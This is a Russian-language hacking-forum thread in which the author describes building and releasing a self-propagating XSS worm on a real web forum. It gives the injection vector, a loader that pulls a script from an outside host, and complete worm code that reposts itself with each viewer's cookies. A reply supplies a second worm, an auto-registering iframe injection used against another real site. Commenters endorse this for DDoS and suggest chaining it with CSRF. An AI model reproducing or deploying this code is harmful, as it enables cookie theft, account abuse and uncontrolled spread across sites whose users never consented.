Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   xss червь на реальном примере (https://forum.antichat.xyz/showthread.php?t=118718)

Goudini 02.05.2009 12:03

xss червь на реальном примере
 
Вступление
В данной статье будет описана история создания само распространяемого кода для web2.0 сайта...

Суть программных червей очень интересна. После единоразового запуска программы, она сама находит способ копироваться и запускаться снова, и снова. Но это не обязательно исполняемый файл, который сканирует сеть на наличие уязвимостей. В эпоху развития Интернета можно использовать WEB-сайты, на которых не достаточно хорошо реализована проверка данных, приходящих от пользователей.

Дальше будет рассмотрен пример для сайта www.bazika.net. Существенно облегчает распространение «вредоносного» кода по сайту тот факт, что на нём используются готовые Javascript библиотеки..

Показанные ниже действия были выполнены в качестве эксперимента, и не имели цель навредить сайту, или его пользователям.

Уязвимость
Для того чтобы программный код начал распространение по сайту нужно найти способ внедрить его в браузер пользователя. На форуме была найдена возможность вставлять Javascript код в сообщение через BB тег IMG. Пример сообщения:

Код:

[іmg]javascript:alert('LOL')[/іmg]
В результате на страничке появится такой HTML код:

Код:

<img src="javascript:alert('LOL')" alt="javascript:alert('LOL')" />
Как видно, здесь вместо адреса картинки вставлен скрипт. В браузере Firefox будет выведен код Javascript вместо картинки, но в таких браузерах как Opera, IE сработает Javascript... Эта идея и будет отправной точкой распространения.

Достаточно будет создать сообщение с «вредоносным» кодом и все пользователи его просматривающие примут участие в распространении «червя» по сайту.

Ниже показан пример начального сообщения, загружающего в браузер скрипт с удалённого адреса:

Код:

[іmg]javascript:var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));
s.src='http://h3ck.rv.ua/b/o_O.php';document.body.appendChild(s);
void(0)[/іmg]

Метод распространения.
Скрипт, загруженный с сайта будет создавать от имени пользователя новое сообщение на форуме, которое будет повторно в себя включать «вредоносный» код. Таким образом будет идти размножение «червя» по сайту. Дополнительно выполняется проверка выполнения скрипта, так как может быть создано несколько наших сообщений в одном топике. Выполнение происходит один раз.

Реализация на языке Javascript может быть такой:

Код HTML:

if (!isLoaded) {
        // скрываем нашу картинку
        for (var i=0; i<document.images.length; i++) {
                if (document.images[**i].src.match(/^javascript:/)) {
                        document.images[**i].style.display = 'none';
                }
        }
        // текст нового сообщения
        var xss_body = document.cookie + "\n\n" +
                          "[img]javascript:var s=document.createElement(String.fromCharCod"+
                          "e(115,99,114,105,112,116));s.src='"+
                          "http://h3ck.rv.ua/b/o_O.php"+
                          "';document.body.appendChild(s);void(0)[/img]";

        // id топика выбирается из списка горячих тем
        var topics = [];
        var regexp=/\/forum\/topic\/(\d+)/;
        for (i=1; i<document.links.length; i++) {
                if ((result = document.links[**i].href.match(regexp)) &&        document.links[**i].href.indexOf('#')==-1) {
                        topics.push(document.links[**i].href.match(regexp)[1]);
                }
        }
        var topic_rand = topics[Math.round(Math.random()*topics.length)];
       
        // создание нового сообщения.
        $.post('/forum/do/',{action:"add_reply", text:xss_body, topic:topic_rand},
                function(data){alert(data);},"json");
}
var isLoaded = 1;

звёздочки вставлены потому что парсер форума думает что это тег [*i]

Результат:
http://h3ck.rv.ua/upload/blog/images...orm-screen.png

Заключение.
После создания нескольких начальных сообщений на форуме, можно было увидеть как один за другим появляются сообщения от пользователей. Этот процесс мог бы продолжатся если бы через несколько часов не закрыли сайт на доработку.
В принципе, в подключаемом файле мог быть намного более злой код, который бы выполнялся при каждом просмотре сообщения.

Данная статья была написана для того чтобы показать насколько важно заботится о клиентской части безопасности сайта, особенно при использовании таких технологий как AJAX.


P.S. Как видите для того чтобы удачно эксплуатировать xss уязвимости (читай - получить cookies) не обязятельно использовать обычный подход с редиректом юзера на php сниффер. Для этого вполне можно использовать уязвимый сайт.


--------------------------

автор статьи: Goudini
кросс пост h3ck blog

Zitt 02.05.2009 13:37

для ддоса норм идея..+)

Goudini 23.05.2009 13:16

а поцчему только один коммент к статье

Fepsis 23.05.2009 14:37

Помниться кто-то продавал мега спамер по мейл агенту, который также использовал xss уязвимость мейла и рассылал сообщение всем контактам.. распространялся таким же образом..))

Karantin 23.05.2009 14:50

к таким червям хорошо прикручивать CSRF, не ограничиваясь одним форумом

Nelzone 26.05.2009 21:57

гуд...жаль что такое с мубом не сделаешь

vvs777 27.05.2009 00:28

Классно...
А никто не знает что это придумал я =)
Еще в 2004 году я таким макаром один сайт олимпиады попускал.

(если что - админы подтвердят. Сомневаюсь, что они меня забыли :D )

В регистрации форма пропускала хтмл код.
в одно из полей я фтыкнул ифрейм, который грузил страницу моего сайта на народе, где JS код генерировал рандомніе из списка ФИО и регистрировался на сайте, причемм одно из полей опять таки содержало фрейм.
Итого при просмотре списка участников происходила регистрация новых.
Каждая строка - номер просмотра - количество рег
0 1
1 2
2 4
3 6
4 10
...
Хотя после этого дела админы наконец то прикрыли xss, хотя до я им не раз порно картинки внедрял в таблицу
Код:

<form name="xf" action="http://www2.********/cgi-bin/v_olymp/i2004/members.py" method="POST">  <input type="hidden" name="first_name" value="fucker"> <input type="hidden" name="second_name" value="%3CIFRAME width=0 height=0 src=%22http://xaker_site.narod.ru/reg.htm%22%3E%3C/IFRAME%3Efucker"> <input type="hidden" name="country" value="Украина"> <input type="hidden" name="city" value="Киев"> <input type="hidden" name="school" value="СШ №7"> <input type="hidden" name="course" value="10"> <input type="hidden" name="email" value="vxredirect@mail333.com"> <input type="hidden" name="status" value="student"> <input type="hidden" name="language" value="ukr"> <input type="hidden" name="command" value="register"> </form>  <script>  function rand(num) {  return Math.floor(Math.random() * num )+1;  }  s='xxxx';  s=rand(9)+''+rand(9)+''+rand(9)+''+rand(9);  document.write(s+'<BR>');  names=new Array (30);  names[00]= 'Дмитрий';  names[01]= 'Андрей';  names[02]= 'Николай';  names[03]= 'Евгений';  names[04]= 'Иван';  names[05]= 'Антон';  names[06]= 'Олег';  names[07]= 'Константин';  names[08]= 'Вова';  names[09]= 'Сергей';  names[10]='Виктор';  names[11]='Кирилл';  names[12]='Максим';  names[13]='Иосиф';  names[14]='Юрий';  names[15]='Иван';  names[16]='Роман';  names[17]='Александр';  names[18]='Алексей ';  names[19]='Владимир';  names[20]='Илья';  names[21]='Богдан';  names[22]='Даниил';  names[23]='Виталий';  names[24]='Егор';  names[25]='Игорь';  names[26]='Ростислав';  names[27]='Артур';  names[28]='Вадим';  names[29]='Леонид';  names[30]='Павел';  surnames=new Array (30);  surnames[00]= 'Петров';  surnames[01]= 'Петровский';  surnames[02]= 'Сидоров';  surnames[03]= 'Сидорчук';  surnames[04]= 'Иванов';  surnames[05]= 'Иваненко';  surnames[06]= 'Маенко';  surnames[07]= 'Еремеенко';  surnames[08]= 'Лацюк';  surnames[09]= 'Бузин';  surnames[10]= 'Литвинов';  surnames[11]= 'Тысливый';  surnames[12]= 'Кипелов';  surnames[13]= 'Короленко';  surnames[14]= 'Монкур';  surnames[15]= 'Федорчук';  surnames[16]= 'Кравченко';  surnames[17]= 'Тымчиков';  surnames[18]= 'Хмельничук';  surnames[19]= 'Костыренко';  surnames[20]= 'Ронин';  surnames[21]= 'Вавилов';  surnames[22]= 'Винничук';  surnames[23]= 'Благой';  surnames[24]= 'Гончаренко';  surnames[25]= 'Ефимов';  surnames[26]= 'Каиров';  surnames[27]= 'Смирнов';  surnames[28]= 'Ходаков';  surnames[29]= 'Орлов';  surnames[30]= 'Вовченко';  cities=new Array (21);  cities[0]='Киев';  cities[1]='Чернигов';  cities[2]='Сумы';  cities[3]='Харьков';  cities[4]='Луганск';  cities[5]='Донецк';  cities[6]='Запорожье';  cities[7]='Днепропетровск';  cities[8]='Херсон';  cities[9]='Симферополь';  cities[9]='Николаев';  cities[10]='Одесса';  cities[11]='Кировоград';  cities[12]='Черкассы';  cities[13]='Житомир';  cities[14]='Хмельницкий';  cities[15]='Ровно';  cities[16]='Тернополь';  cities[17]='Черновцы';  cities[18]='Ивано-Франковск';  cities[19]='Львов';  cities[20]='Луцк';  cities[21]='Днепродзержинск';  courses=new Array (3);  courses[1]='9';  courses[2]='10';  courses[3]='11';  schs=new Array (8);  schs[1]='сш№';  schs[2]='СШ №';  schs[3]='сш №';  schs[4]='СООШ ';  schs[5]='сш';  schs[6]='СШ ';  schs[7]='Школа №';  schs[8]='Школа ';  document.xf.first_name.value=names[rand(30)];  document.xf.second_name.value=surnames[rand(30)];  document.xf.city.value=cities[rand(21)];  document.xf.school.value=schs[rand(8)]+rand(88);  document.xf.course.value=courses[rand(3)];    document.write(document.xf.first_name.value+'<BR>');  document.write(document.xf.second_name.value+'<BR>');  document.write(document.xf.country.value+'<BR>');  document.write(document.xf.city.value+'<BR>');  document.write(document.xf.school.value+'<BR>');  document.write(document.xf.course.value+'<BR>');  //id generation      //document.forms[0].submit();  </script>
мда, были времена когда я еще не знал пхп и приходилось вот так извращаться...

Еще в тему оттуда же Флудер на Javascript


Время: 04:22